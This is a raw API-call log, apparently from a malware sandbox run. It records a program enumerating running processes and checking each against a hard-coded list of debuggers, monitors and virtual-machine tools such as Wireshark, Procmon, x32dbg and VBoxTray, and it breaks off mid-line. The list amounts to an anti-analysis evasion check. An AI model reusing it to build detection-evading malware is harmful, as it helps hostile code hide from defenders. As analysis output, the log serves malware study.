[0283.073] StrStrIA (lpFirst="[System Process]", lpSrch="samp1e.exe") returned 0x0 [0283.073] StrStrIA (lpFirst="[System Process]", lpSrch="sample.exe") returned 0x0 [0283.073] StrStrIA (lpFirst="[System Process]", lpSrch="runsample.exe") returned 0x0 [0283.073] StrStrIA (lpFirst="[System Process]", lpSrch="lordpe.exe") returned 0x0 [0283.073] StrStrIA (lpFirst="[System Process]", lpSrch="regshot.exe") returned 0x0 [0283.073] StrStrIA (lpFirst="[System Process]", lpSrch="Autoruns.exe") returned 0x0 [0283.073] StrStrIA (lpFirst="[System Process]", lpSrch="dsniff.exe") returned 0x0 [0283.073] StrStrIA (lpFirst="[System Process]", lpSrch="VBoxTray.exe") returned 0x0 [0283.073] StrStrIA (lpFirst="[System Process]", lpSrch="HashMyFiles.exe") returned 0x0 [0283.073] StrStrIA (lpFirst="[System Process]", lpSrch="ProcessHacker.exe") returned 0x0 [0283.073] StrStrIA (lpFirst="[System Process]", lpSrch="Procmon.exe") returned 0x0 [0283.073] StrStrIA (lpFirst="[System Process]", lpSrch="Procmon64.exe") returned 0x0 [0283.073] StrStrIA (lpFirst="[System Process]", lpSrch="netmon.exe") returned 0x0 [0283.073] StrStrIA (lpFirst="[System Process]", lpSrch="vmtoolsd.exe") returned 0x0 [0283.073] StrStrIA (lpFirst="[System Process]", lpSrch="vm3dservice.exe") returned 0x0 [0283.073] StrStrIA (lpFirst="[System Process]", lpSrch="VGAuthService.exe") returned 0x0 [0283.074] StrStrIA (lpFirst="[System Process]", lpSrch="pr0c3xp.exe") returned 0x0 [0283.074] StrStrIA (lpFirst="[System Process]", lpSrch="ProcessHacker.exe") returned 0x0 [0283.074] StrStrIA (lpFirst="[System Process]", lpSrch="CFF Explorer.exe") returned 0x0 [0283.074] StrStrIA (lpFirst="[System Process]", lpSrch="dumpcap.exe") returned 0x0 [0283.074] StrStrIA (lpFirst="[System Process]", lpSrch="Wireshark.exe") returned 0x0 [0283.074] StrStrIA (lpFirst="[System Process]", lpSrch="idaq.exe") returned 0x0 [0283.074] StrStrIA (lpFirst="[System Process]", lpSrch="idaq64.exe") returned 0x0 [0283.074] StrStrIA (lpFirst="[System Process]", lpSrch="TPAutoConnect.exe") returned 0x0 [0283.074] StrStrIA (lpFirst="[System Process]", lpSrch="ResourceHacker.exe") returned 0x0 [0283.074] StrStrIA (lpFirst="[System Process]", lpSrch="vmacthlp.exe") returned 0x0 [0283.074] StrStrIA (lpFirst="[System Process]", lpSrch="OLLYDBG.EXE") returned 0x0 [0283.074] StrStrIA (lpFirst="[System Process]", lpSrch="windbg.exe") returned 0x0 [0283.074] StrStrIA (lpFirst="[System Process]", lpSrch="bds-vision-agent-nai.exe") returned 0x0 [0283.074] StrStrIA (lpFirst="[System Process]", lpSrch="bds-vision-apis.exe") returned 0x0 [0283.074] StrStrIA (lpFirst="[System Process]", lpSrch="bds-vision-agent-app.exe") returned 0x0 [0283.074] StrStrIA (lpFirst="[System Process]", lpSrch="MultiAnalysis_v1.0.294.exe") returned 0x0 [0283.074] StrStrIA (lpFirst="[System Process]", lpSrch="x32dbg.exe") returned 0x0 [0283.074] StrStrIA (lpFirst="[System Process]", lpSrch="VBoxTray.exe") returned 0x0 [0283.074] StrStrIA (lpFirst="[System Process]", lpSrch="VBoxService.exe") returned 0x0 [0283.074] StrStrIA (lpFirst="[System Process]", lpSrch="Tcpview.exe") returned 0x0 [0283.074] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0283.075] lstrcmpiA (lpString1="Fiddler.exe", lpString2="System") returned -1 [0283.075] lstrcmpiA (lpString1="samp1e.exe", lpString2="System") returned -1 [0283.075] lstrcmpiA (lpString1="sample.exe", lpString2="System") returned -1 [0283.075] lstrcmpiA (lpString1="runsample.exe", lpString2="System") returned -1 [0283.075] lstrcmpiA (lpString1="lordpe.exe", lpString2="System") returned -1 [0283.075] lstrcmpiA (lpString1="regshot.exe", lpString2="System") returned -1 [0283.075] lstrcmpiA (lpString1="Autoruns.exe", lpString2="System") returned -1 [0283.075] lstrcmpiA (lpString1="dsniff.exe", lpString2="System") returned -1 [0283.075] lstrcmpiA (lpString1="VBoxTray.exe", lpString2="System") returned 1 [0283.075] lstrcmpiA (lpString1="HashMyFiles.exe", lpString2="System") returned -1 [0283.075] lstrcmpiA (lpString1="ProcessHacker.exe", lpString2="System") returned -1 [0283.075] lstrcmpiA (lpString1="Procmon.exe", lpString2="System") returned -1 [0283.075] lstrcmpiA (lpString1="Procmon64.exe", lpString2="System") returned -1 [0283.075] lstrcmpiA (lpString1="netmon.exe", lpString2="System") returned -1 [0283.075] lstrcmpiA (lpString1="vmtoolsd.exe", lpString2="System") returned 1 [0283.075] lstrcmpiA (lpString1="vm3dservice.exe", lpString2="System") returned 1 [0283.075] lstrcmpiA (lpString1="VGAuthService.exe", lpString2="System") returned 1 [0283.075] lstrcmpiA (lpString1="pr0c3xp.exe", lpString2="System") returned -1 [0283.075] lstrcmpiA (lpString1="ProcessHacker.exe", lpString2="System") returned -1 [0283.075] lstrcmpiA (lpString1="CFF Explorer.exe", lpString2="System") returned -1 [0283.075] lstrcmpiA (lpString1="dumpcap.exe", lpString2="System") returned -1 [0283.075] lstrcmpiA (lpString1="Wireshark.exe", lpString2="System") returned 1 [0283.076] lstrcmpiA (lpString1="idaq.exe", lpString2="System") returned -1 [0283.076] lstrcmpiA (lpString1="idaq64.exe", lpString2="System") returned -1 [0283.076] lstrcmpiA (lpString1="TPAutoConnect.exe", lpString2="System") returned 1 [0283.076] lstrcmpiA (lpString1="ResourceHacker.exe", lpString2="System") returned -1 [0283.076] lstrcmpiA (lpString1="vmacthlp.exe", lpString2="System") returned 1 [0283.076] lstrcmpiA (lpString1="OLLYDBG.EXE", lpString2="System") returned -1 [0283.076] lstrcmpiA (lpString1="windbg.exe", lpString2="System") returned 1 [0283.076] lstrcmpiA (lpString1="bds-vision-agent-nai.exe", lpString2="System") returned -1 [0283.076] lstrcmpiA (lpString1="bds-vision-apis.exe", lpString2="System") returned -1 [0283.076] lstrcmpiA (lpString1="bds-vision-agent-app.exe", lpString2="System") returned -1 [0283.076] lstrcmpiA (lpString1="MultiAnalysis_v1.0.294.exe", lpString2="System") returned -1 [0283.076] lstrcmpiA (lpString1="x32dbg.exe", lpString2="System") returned 1 [0283.076] lstrcmpiA (lpString1="VBoxTray.exe", lpString2="System") returned 1 [0283.076] lstrcmpiA (lpString1="VBoxService.exe", lpString2="System") returned 1 [0283.076] lstrcmpiA (lpString1="Tcpview.exe", lpString2="System") returned 1 [0283.076] StrStrIA (lpFirst="System", lpSrch="Fiddler.exe") returned 0x0 [0283.076] StrStrIA (lpFirst="System", lpSrch="samp1e.exe") returned 0x0 [0283.076] StrStrIA (lpFirst="System", lpSrch="sample.exe") returned 0x0 [0283.076] StrStrIA (lpFirst="System", lpSrch="runsample.exe") returned 0x0 [0283.076] StrStrIA (lpFirst="System", lpSrch="lordpe.exe") returned 0x0 [0283.076] StrStrIA (lpFirst="System", lpSrch="regshot.exe") returned 0x0 [0283.076] StrStrIA (lpFirst="System", lpSrch="Autoruns.exe") returned 0x0 [0283.076] StrStrIA (lpFirst="System", lpSrch="dsniff.exe") returned 0x0 [0283.076] StrStrIA (lpFirst="System", lpSrch="VBoxTray.exe") returned 0x0 [0283.076] StrStrIA (lpFirst="System", lpSrch="HashMyFiles.exe") returned 0x0 [0283.076] StrStrIA (lpFirst="System", lpSrch="ProcessHacker.exe") returned 0x0 [0283.076] StrStrIA (lpFirst="System", lpSrch="Procmon.exe") returned 0x0 [0283.077] StrStrIA (lpFirst="System", lpSrch="Procmon64.exe") returned 0x0 [0283.077] StrStrIA (lpFirst="System", lpSrch="netmon.exe") returned 0x0 [0283.077] StrStrIA (lpFirst="System", lpSrch="vmtoolsd.exe") returned 0x0 [0283.077] StrStrIA (lpFirst="System", lpSrch="vm3dservice.exe") returned 0x0 [0283.077] StrStrIA (lpFirst="System", lpSrch="VGAuthService.exe") returned 0x0 [0283.077] StrStrIA (lpFirst="System", lpSrch="pr0c3xp.exe") returned 0x0 [0283.077] StrStrIA (lpFirst="System", lpSrch="ProcessHacker.exe") returned 0x0 [0283.077] StrStrIA (lpFirst="System", lpSrch="CFF Explorer.exe") returned 0x0 [0283.077] StrStrIA (lpFirst="System", lpSrch="dumpcap.exe") returned 0x0 [0283.077] StrStrIA (lpFirst="System", lpSrch="Wireshark.exe") returned 0x0 [0283.077] StrStrIA (lpFirst="System", lpSrch="idaq.exe") returned 0x0 [0283.077] StrStrIA (lpFirst="System", lpSrch="idaq64.exe") returned 0x0 [0283.077] StrStrIA (lpFirst="System", lpSrch="TPAutoConnect.exe") returned 0x0 [0283.077] StrStrIA (lpFirst="System", lpSrch="ResourceHacker.exe") returned 0x0 [0283.077] StrStrIA (lpFirst="System", lpSrch="vmacthlp.exe") returned 0x0 [0283.077] StrStrIA (lpFirst="System", lpSrch="OLLYDBG.EXE") returned 0x0 [0283.077] StrStrIA (lpFirst="System", lpSrch="windbg.exe") returned 0x0 [0283.077] StrStrIA (lpFirst="System", lpSrch="bds-vision-agent-nai.exe") returned 0x0 [0283.077] StrStrIA (lpFirst="System", lpSrch="bds-vision-apis.exe") returned 0x0 [0283.077] StrStrIA (lpFirst="System", lpSrch="bds-vision-agent-app.exe") returned 0x0 [0283.077] StrStrIA (lpFirst="System", lpSrch="MultiAnalysis_v1.0.294.exe") returned 0x0 [0283.077] StrStrIA (lpFirst="System", lpSrch="x32dbg.exe") returned 0x0 [0283.077] StrStrIA (lpFirst="System", lpSrch="VBoxTray.exe") returned 0x0 [0283.077] StrStrIA (lpFirst="System", lpSrch="VBoxService.exe") returned 0x0 [0283.077] StrStrIA (lpFirst="System", lpSrch="Tcpview.exe") returned 0x0 [0283.078] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x140, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0283.078] lstrcmpiA (lpString1="Fiddler.exe", lpString2="smss.exe") returned -1 [0283.078] lstrcmpiA (lpString1="samp1e.exe", lpString2="smss.exe") returned -1 [0283.078] lstrcmpiA (lpString1="sample.exe", lpString2="smss.exe") returned -1 [0283.078] lstrcmpiA (lpString1="runsample.exe", lpString2="smss.exe") returned -1 [0283.078] lstrcmpiA (lpString1="lordpe.exe", lpString2="smss.exe") returned -1 [0283.078] lstrcmpiA (lpString1="regshot.exe", lpString2="smss.exe") returned -1 [0283.078] lstrcmpiA (lpString1="Autoruns.exe", lpString2="smss.exe") returned -1 [0283.078] lstrcmpiA (lpString1="dsniff.exe", lpString2="smss.exe") returned -1 [0283.079] lstrcmpiA (lpString1="VBoxTray.exe", lpString2="smss.exe") returned 1 [0283.079] lstrcmpiA (lpString1="HashMyFiles.exe", lpString2="smss.exe") returned -1 [0283.079] lstrcmpiA (lpString1="ProcessHacker.exe", lpString2="smss.exe") returned -1 [0283.079] lstrcmpiA (lpString1="Procmon.exe", lpString2="smss.exe") returned -1 [0283.079] lstrcmpiA (lpString1="Procmon64.exe", lpString2="smss.exe") returned -1 [0283.079] lstrcmpiA (lpString1="netmon.exe", lpString2="smss.exe") returned -1 [0283.079] lstrcmpiA (lpString1="vmtoolsd.exe", lpString2="smss.exe") returned 1 [0283.079] lstrcmpiA (lpString1="vm3dservice.exe", lpString2="smss.exe") returned 1 [0283.079] lstrcmpiA (lpString1="VGAuthService.exe", lpString2="smss.exe") returned 1 [0283.079] lstrcmpiA (lpString1="pr0c3xp.exe", lpString2="smss.exe") returned -1 [0283.079] lstrcmpiA (lpString1="ProcessHacker.exe", lpString2="smss.exe") returned -1 [0283.079] lstrcmpiA (lpString1="CFF Explorer.exe", lpString2="smss.exe") returned -1 [0283.079] lstrcmpiA (lpString1="dumpcap.exe", lpString2="smss.exe") returned -1 [0283.079] lstrcmpiA (lpString1="Wireshark.exe", lpString2="smss.exe") returned 1 [0283.079] lstrcmpiA (lpString1="idaq.exe", lpString2="smss.exe") returned -1 [0283.079] lstrcmpiA (lpString1="idaq64.exe", lpString2="smss.exe") returned -1 [0283.079] lstrcmpiA (lpString1="TPAutoConnect.exe", lpString2="smss.exe") returned 1 [0283.079] lstrcmpiA (lpString1="ResourceHacker.exe", lpString2="smss.exe") returned -1 [0283.079] lstrcmpiA (lpString1="vmacthlp.exe", lpString2="smss.exe") returned 1 [0283.079] lstrcmpiA (lpString1="OLLYDBG.EXE", lpString2="smss.exe") returned -1 [0283.079] lstrcmpiA (lpString1="windbg.exe", lpString2="smss.exe") returned 1 [0283.079] lstrcmpiA (lpString1="bds-vision-agent-nai.exe", lpString2="smss.exe") returned -1 [0283.079] lstrcmpiA (lpString1="bds-vision-apis.exe", lpString2="smss.exe") returned -1 [0283.079] lstrcmpiA (lpString1="bds-vision-agent-app.exe", lpString2="smss.exe") returned -1 [0283.079] lstrcmpiA (lpString1="MultiAnalysis_v1.0.294.exe", lpString2="smss.exe") returned -1 [0283.079] lstrcmpiA (lpString1="x32dbg.exe", lpString2="smss.exe") returned 1 [0283.079] lstrcmpiA (lpString1="VBoxTray.exe", lpString2="smss.exe") returned 1 [0283.079] lstrcmpiA (lpString1="VBoxService.exe", lpString2="smss.exe") returned 1 [0283.079] lstrcmpiA (lpString1="Tcpview.exe", lpString2="smss.exe") returned 1 [0283.079] StrStrIA (lpFirst="smss.exe", lpSrch="Fiddler.exe") returned 0x0 [0283.079] StrStrIA (lpFirst="smss.exe", lpSrch="samp1e.exe") returned 0x0 [0283.080] StrStrIA (lpFirst="smss.exe", lpSrch="sample.exe") returned 0x0 [0283.080] StrStrIA (lpFirst="smss.exe", lpSrch="runsample.exe") returned 0x0 [0283.080] StrStrIA (lpFirst="smss.exe", lpSrch="lordpe.exe") returned 0x0 [0283.080] StrStrIA (lpFirst="smss.exe", lpSrch="regshot.exe") returned 0x0 [0283.080] StrStrIA (lpFirst="smss.exe", lpSrch="Autoruns.exe") returned 0x0 [0283.080] StrStrIA (lpFirst="smss.exe", lpSrch="dsniff.exe") returned 0x0 [0283.080] StrStrIA (lpFirst="smss.exe", lpSrch="VBoxTray.exe") returned 0x0 [0283.080] StrStrIA (lpFirst="smss.exe", lpSrch="HashMyFiles.exe") returned 0x0 [0283.080] StrStrIA (lpFirst="smss.exe", lpSrch="ProcessHacker.exe") returned 0x0 [0283.080] StrStrIA (lpFirst="smss.exe", lpSrch="Procmon.exe") returned 0x0 [0283.080] StrStrIA (lpFirst="smss.exe", lpSrch="Procmon64.exe") returned 0x0 [0283.080] StrStrIA (lpFirst="smss.exe", lpSrch="netmon.exe") returned 0x0 [0283.080] StrStrIA (lpFirst="smss.exe", lpSrch="vmtoolsd.exe") returned 0x0 [0283.080] StrStrIA (lpFirst="smss.exe", lpSrch="vm3dservice.exe") returned 0x0 [0283.080] StrStrIA (lpFirst="smss.exe", lpSrch="VGAuthService.exe") returned 0x0 [0283.080] StrStrIA (lpFirst="smss.exe", lpSrch="pr0c3xp.exe") returned 0x0 [0283.080] StrStrIA (lpFirst="smss.exe", lpSrch="ProcessHacker.exe") returned 0x0 [0283.080] StrStrIA (lpFirst="smss.exe", lpSrch="CFF Explorer.exe") returned 0x0 [0283.080] StrStrIA (lpFirst="smss.exe", lpSrch="dumpcap.exe") returned 0x0 [0283.080] StrStrIA (lpFirst="smss.exe", lpSrch="Wireshark.exe") returned 0x0 [0283.080] StrStrIA (lpFirst="smss.exe", lpSrch="idaq.exe") returned 0x0 [0283.080] StrStrIA (lpFirst="smss.exe", lpSrch="idaq64.exe") returned 0x0 [0283.081] StrStrIA (lpFirst="smss.exe", lpSrch="TPAutoConnect.exe") returned 0x0 [0283.081] StrStrIA (lpFirst="smss.exe", lpSrch="ResourceHacker.exe") returned 0x0 [0283.081] StrStrIA (lpFirst="smss.exe", lpSrch="vmacthlp.exe") returned 0x0 [0283.081] StrStrIA (lpFirst="smss.exe", lpSrch="OLLYDBG.EXE") returned 0x0 [0283.081] StrStrIA (lpFirst="smss.exe", lpSrch="windbg.exe") returned 0x0 [0283.081] StrStrIA (lpFirst="smss.exe", lpSrch="bds-vision-agent-nai.exe") returned 0x0 [0283.081] StrStrIA (lpFirst="smss.exe", lpSrch="bds-vision-apis.exe") returned 0x0 [0283.081] StrStrIA (lpFirst="smss.exe", lpSrch="bds-vision-agent-app.exe") returned 0x0 [0283.081] StrStrIA (lpFirst="smss.exe", lpSrch="MultiAnalysis_v1.0.294.exe") returned 0x0 [0283.081] StrStrIA (lpFirst="smss.exe", lpSrch="x32dbg.exe") returned 0x0 [0283.081] StrStrIA (lpFirst="smss.exe", lpSrch="VBoxTray.exe") returned 0x0 [0283.081] StrStrIA (lpFirst="smss.exe", lpSrch="VBoxService.exe") returned 0x0 [0283.081] StrStrIA (lpFirst="smss.exe", lpSrch="Tcpview.exe") returned 0x0 [0283.081] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x198, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0283.082] lstrcmpiA (lpString1="Fiddler.exe", lpString2="csrss.exe") returned 1 [0283.082] lstrcmpiA (lpString1="samp1e.exe", lpString2="csrss.exe") returned 1 [0283.082] lstrcmpiA (lpString1="sample.exe", lpString2="csrss.exe") returned 1 [0283.082] lstrcmpiA (lpString1="runsample.exe", lpString2="csrss.exe") returned 1 [0283.082] lstrcmpiA (lpString1="lordpe.exe", lpString2="csrss.exe") returned 1 [0283.082] lstrcmpiA (lpString1="regshot.exe", lpString2="csrss.exe") returned 1 [0283.082] lstrcmpiA (lpString1="Autoruns.exe", lpString2="csrss.exe") returned -1 [0283.082] lstrcmpiA (lpString1="dsniff.exe", lpString2="csrss.exe") returned 1 [0283.082] lstrcmpiA (lpString1="VBoxTray.exe", lpString2="csrss.exe") returned 1 [0283.082] lstrcmpiA (lpString1="HashMyFiles.exe", lpString2="csrss.exe") returned 1 [0283.082] lstrcmpiA (lpString1="ProcessHacker.exe", lpString2="csrss.exe") returned 1 [0283.082] lstrcmpiA (lpString1="Procmon.exe", lpString2="csrss.exe") returned 1 [0283.082] lstrcmpiA (lpString1="Procmon64.exe", lpString2="csrss.exe") returned 1 [0283.082] lstrcmpiA (lpString1="netmon.exe", lpString2="csrss.exe") returned 1 [0283.082] lstrcmpiA (lpString1="vmtoolsd.exe", lpString2="csrss.exe") returned 1 [0283.082] lstrcmpiA (lpString1="vm3dservice.exe", lpString2="csrss.exe") returned 1 [0283.082] lstrcmpiA (lpString1="VGAuthService.exe", lpString2="csrss.exe") returned 1 [0283.082] lstrcmpiA (lpString1="pr0c3xp.exe", lpString2="csrss.exe") returned 1 [0283.082] lstrcmpiA (lpString1="ProcessHacker.exe", lpString2="csrss.exe") returned 1 [0283.082] lstrcmpiA (lpString1="CFF Explorer.exe", lpString2="csrss.exe") returned -1 [0283.082] lstrcmpiA (lpString1="dumpcap.exe", lpString2="csrss.exe") returned 1 [0283.082] lstrcmpiA (lpString1="Wireshark.exe", lpString2="csrss.exe") returned 1 [0283.082] lstrcmpiA (lpString1="idaq.exe", lpString2="csrss.exe") returned 1 [0283.082] lstrcmpiA (lpString1="idaq64.exe", lpString2="csrss.exe") returned 1 [0283.083] lstrcmpiA (lpString1="TPAutoConnect.exe", lpString2="csrss.exe") returned 1 [0283.083] lstrcmpiA (lpString1="ResourceHacker.exe", lpString2="csrss.exe") returned 1 [0283.083] lstrcmpiA (lpString1="vmacthlp.exe", lpString2="csrss.exe") returned 1 [0283.083] lstrcmpiA (lpString1="OLLYDBG.EXE", lpString2="csrss.exe") returned 1 [0283.083] lstrcmpiA (lpString1="windbg.exe", lpString2="csrss.exe") returned 1 [0283.083] lstrcmpiA (lpString1="bds-vision-agent-nai.exe", lpString2="csrss.exe") returned -1 [0283.083] lstrcmpiA (lpString1="bds-vision-apis.exe", lpString2="csrss.exe") returned -1 [0283.083] lstrcmpiA (lpString1="bds-vision-agent-app.exe", lpString2="csrss.exe") returned -1 [0283.083] lstrcmpiA (lpString1="MultiAnalysis_v1.0.294.exe", lpString2="csrss.exe") returned 1 [0283.083] lstrcmpiA (lpString1="x32dbg.exe", lpString2="csrss.exe") returned 1 [0283.083] lstrcmpiA (lpString1="VBoxTray.exe", lpString2="csrss.exe") returned 1 [0283.083] lstrcmpiA (lpString1="VBoxService.exe", lpString2="csrss.exe") returned 1 [0283.083] lstrcmpiA (lpString1="Tcpview.exe", lpString2="csrss.exe") returned 1 [0283.083] StrStrIA (lpFirst="csrss.exe", lpSrch="Fiddler.exe") returned 0x0 [0283.083] StrStrIA (lpFirst="csrss.exe", lpSrch="samp1e.exe") returned 0x0 [0283.083] StrStrIA (lpFirst="csrss.exe", lpSrch="sample.exe") returned 0x0 [0283.083] StrStrIA (lpFirst="csrss.exe", lpSrch="runsample.exe") returned 0x0 [0283.083] StrStrIA (lpFirst="csrss.exe", lpSrch="lordpe.exe") returned 0x0 [0283.083] StrStrIA (lpFirst="csrss.exe", lpSrch="regshot.exe") returned 0x0 [0283.083] StrStrIA (lpFirst="csrss.exe", lpSrch="Autoruns.exe") returned 0x0 [0283.083] StrStrIA (lpFirst="csrss.exe", lpSrch="dsniff.exe") returned 0x0 [0283.083] StrStrIA (lpFirst="csrss.exe", lpSrch="VBoxTray.exe") returned 0x0 [0283.083] StrStrIA (lpFirst="csrss.exe", lpSrch="HashMyFiles.exe") returned 0x0 [0283.083] StrStrIA (lpFirst="csrss.exe", lpSrch="ProcessHacker.exe") returned 0x0 [0283.083] StrStrIA (lpFirst="csrss.exe", lpSrch="Procmon.exe") returned 0x0 [0283.083] StrStrIA (lpFirst="csrss.exe", lpSrch="Procmon64.exe") returned 0x0 [0283.084] StrStrIA (lpFirst="csrss.exe", lpSrch="netmon.exe") returned 0x0 [0283.084] StrStrIA (lpFirst="csrss.exe", lpSrch="vmtoolsd.exe") returned 0x0 [0283.084] StrStrIA (lpFirst="csrss.exe", lpSrch="vm3dservice.exe") returned 0x0 [0283.084] StrStrIA (lpFirst="csrss.exe", lpSrch="VGAuthService.exe") returned 0x0 [0283.084] StrStrIA (lpFirst="csrss.exe", lpSrch="pr0c3xp.exe") returned 0x0 [0283.084] StrStrIA (lpFirst="csrss.exe", lpSrch="ProcessHacker.exe") returned 0x0 [0283.084] StrStrIA (lpFirst="csrss.exe", lpSrch="CFF Explorer.exe") returned 0x0 [0283.084] StrStrIA (lpFirst="csrss.exe", lpSrch="dumpcap.exe") returned 0x0 [0283.084] StrStrIA (lpFirst="csrss.exe", lpSrch="Wireshark.exe") returned 0x0 [0283.084] StrStrIA (lpFirst="csrss.exe", lpSrch="idaq.exe") returned 0x0 [0283.084] StrStrIA (lpFirst="csrss.exe", lpSrch="idaq64.exe") returned 0x0 [0283.084] StrStrIA (lpFirst="csrss.exe", lpSrch="TPAutoConnect.exe") returned 0x0 [0283.084] StrStrIA (lpFirst="csrss.exe", lpSrch="ResourceHacker.exe") returned 0x0 [0283.084] StrStrIA (lpFirst="csrss.exe", lpSrch="vmacthlp.exe") returned 0x0 [0283.084] StrStrIA (lpFirst="csrss.exe", lpSrch="OLLYDBG.EXE") returned 0x0 [0283.084] StrStrIA (lpFirst="csrss.exe", lpSrch="windbg.exe") returned 0x0 [0283.084] StrStrIA (lpFirst="csrss.exe", lpSrch="bds-vision-agent-nai.exe") returned 0x0 [0283.084] StrStrIA (lpFirst="csrss.exe", lpSrch="bds-vision-apis.exe") returned 0x0 [0283.084] StrStrIA (lpFirst="csrss.exe", lpSrch="bds-vision-agent-app.exe") returned 0x0 [0283.084] StrStrIA (lpFirst="csrss.exe", lpSrch="MultiAnalysis_v1.0.294.exe") returned 0x0 [0283.084] StrStrIA (lpFirst="csrss.exe", lpSrch="x32dbg.exe") returned 0x0 [0283.084] StrStrIA (lpFirst="csrss.exe", lpSrch="VBoxTray.exe") returned 0x0 [0283.085] StrStrIA (lpFirst="csrss.exe", lpSrch="VBoxService.exe") returned 0x0 [0283.085] StrStrIA (lpFirst="csrss.exe", lpSrch="Tcpview.exe") returned 0x0 [0283.085] Process32Next (in: hSnapshot=0x290, lppe=0x19fe04 | out: lppe=0x19fe04*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x190, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0283.085] lstrcmpiA (lpString1="Fiddler.exe", lpString2="wininit.exe") returned -1 [0283.085] lstrcmpiA (lpString1="samp1e.exe", lpString2="wininit.exe") returned -1 [0283.085] lstrcmpiA (lpString1="sample.exe", lpString2="wininit.exe") returned -1 [0283.085] lstrcmpiA (lpString1="runsample.exe", lpString2="wininit.exe") returned -1 [0283.085] lstrcmpiA (lpString1="lordpe.exe", lpString2="wininit.exe") returned -1 [0283.086] lstrcmpiA (lpString1="regshot.exe", lpString2="wininit.exe") returned -1 [0283.086] lstrcmpiA (lpString1="Autoruns.exe", lpString2="wininit.exe") returned -1 [0283.086] lstrcmpiA (lpString1="dsniff.exe", lpString2="wininit.exe") returned -1 [0283.086] lstrcmpiA (lpString1="VBoxTray.exe", lpString2="wininit.exe") returned -1 [0283.086] lstrcmpiA (lpString1="HashMyFiles.exe", lpString2="wininit.exe") returned -1 [0283.086] lstrcmpiA (lpString1="ProcessHacker.exe", lpString2="wininit.exe") returned -1 [0283.086] lstrcmpiA (lpString1="Procmon.exe", lpString2="wininit.exe") returned -1 [0283.086] lstrcmpiA (lpString1="Procmon64.exe", lpString2="wininit.exe") returned -1 [0283.086] lstrcmpiA (lpString1="netmon.exe", lpString2="wininit.exe") returned -1 [0283.086] lstrcmpiA (lpString1="vmtoolsd.exe", lpString2="wininit.exe") returned -1 [0283.086] lstrcmpiA (lpString1="vm3dservice.exe", lpString2="wininit.exe") returned -1 [0283.086] lstrcmpiA (lpString1="VGAuthService.exe", lpString2="wininit.exe") returned -1 [0283.086] lstrcmpiA (lpString1="pr0c3xp.exe", lpString2="wininit.exe") returned -1 [0283.086] lstrcmpiA (lpString1="ProcessHacker.exe", lpString2="wininit.exe") returned -1 [0283.086] lstrcmpiA (lpString1="CFF Explorer.exe", lpString2="wininit.exe") returned -1 [0283.086] lstrcmpiA (lpString1="dumpcap.exe", lpString2="wininit.exe") returned -1 [0283.086] lstrcmpiA (lpString1="Wireshark.exe", lpString2="wininit.exe") returned 1 [0283.086] lstrcmpiA (lpString1="idaq.exe", lpString2="wininit.exe") returned -1 [0283.086] lstrcmpiA (lpString1="idaq64.exe", lpString2="wininit.exe") returned -1 [0283.086] lstrcmpiA (lpString1="TPAutoConnect.exe", lpString2="wininit.exe") returned -1 [0283.086] lstrcmpiA (lpString1="ResourceHacker.exe", lpString2="wininit.exe") returned -1 [0283.086] lstrcmpiA (lpString1="vmacthlp.exe", lpString2="wininit.exe") returned -1 [0283.087] lstrcmpiA (lpString1="OLLYDBG.EXE", lpString2="wininit.exe") returned -1 [0283.087] lstrcmpiA (lpString1="windbg.exe", lpString2="wininit.exe") returned -1 [0283.087] lstrcmpiA (lpString1="bds-vision-agent-nai.exe", lpString2="wininit.exe") returned -1 [0283.087] lstrcmpiA (lpString1="bds-vision-apis.exe", lpString2="wininit.exe") returned -1 [0283.087] lstrcmpiA (lpString1="bds-vision-agent-app.exe", lpString2="wininit.exe") returned -1 [0283.087] lstrcmpiA (lpString1="MultiAnalysis_v1.0.294.exe", lpString2="wininit.exe") returned -1 [0283.087] lstrcmpiA (lpString1="x32dbg.exe", lpString2="wininit.exe") returned 1 [0283.087] lstrcmpiA (lpString1="VBoxTray.exe", lpString2="wininit.exe") returned -1 [0283.087] lstrcmpiA (lpString1="VBoxService.exe", lpString2="wininit.exe") returned -1 [0283.087] lstrcmpiA (lpString1="Tcpview.exe", lpString2="wininit.exe") returned -1 [0283.087] StrStrIA (lpFirst="wininit.exe", lpSrch="Fiddler.exe") returned 0x0 [0283.087] StrStrIA (lpFirst="wininit.exe", lpSrch="samp1e.exe") returned 0x0 [0283.087] StrStrIA (lpFirst="wininit.exe", lpSrch="sample.exe") returned 0x0 [0283.087] StrStrIA (lpFirst="wininit.exe", lpSrch="runsample.exe") returned 0x0 [0283.087] StrStrIA (lpFirst="wininit.exe", lpSrch="lordpe.exe") returned 0x0 [0283.087] StrStrIA (lpFirst="wininit.exe", lpSrch="regshot.exe") returned 0x0 [0283.087] StrStrIA (lpFirst="wininit.exe", lpSrch="Autoruns.exe") returned 0x0 [0283.087] StrStrIA (lpFirst="wininit.exe", lpSrch="dsniff.exe") returned 0x0 [0283.087] StrStrIA (lpFirst="wininit.exe", lpSrch="VBoxTray.exe") returned 0x0 [0283.087] StrStrIA (lpFirst="wininit.exe", lpSrch="HashMyFiles.exe") returned 0x0 [0283.088] StrStrIA (lpFirst="wininit.exe", lpSrch="ProcessHacker.exe") returned 0x0 [0283.088] StrStrIA (lpFirst="wininit.exe", lpSrch="Procmon.exe") returned 0x0 [0283.088] StrStrIA (lpFirst="wininit.exe", lpSrch="Procmon64.exe") returned 0x0 [0283.088] StrStrIA (lpFirst="wininit.exe", lpSrch="netmon.exe") returned 0x0 [0283.088] StrStrIA 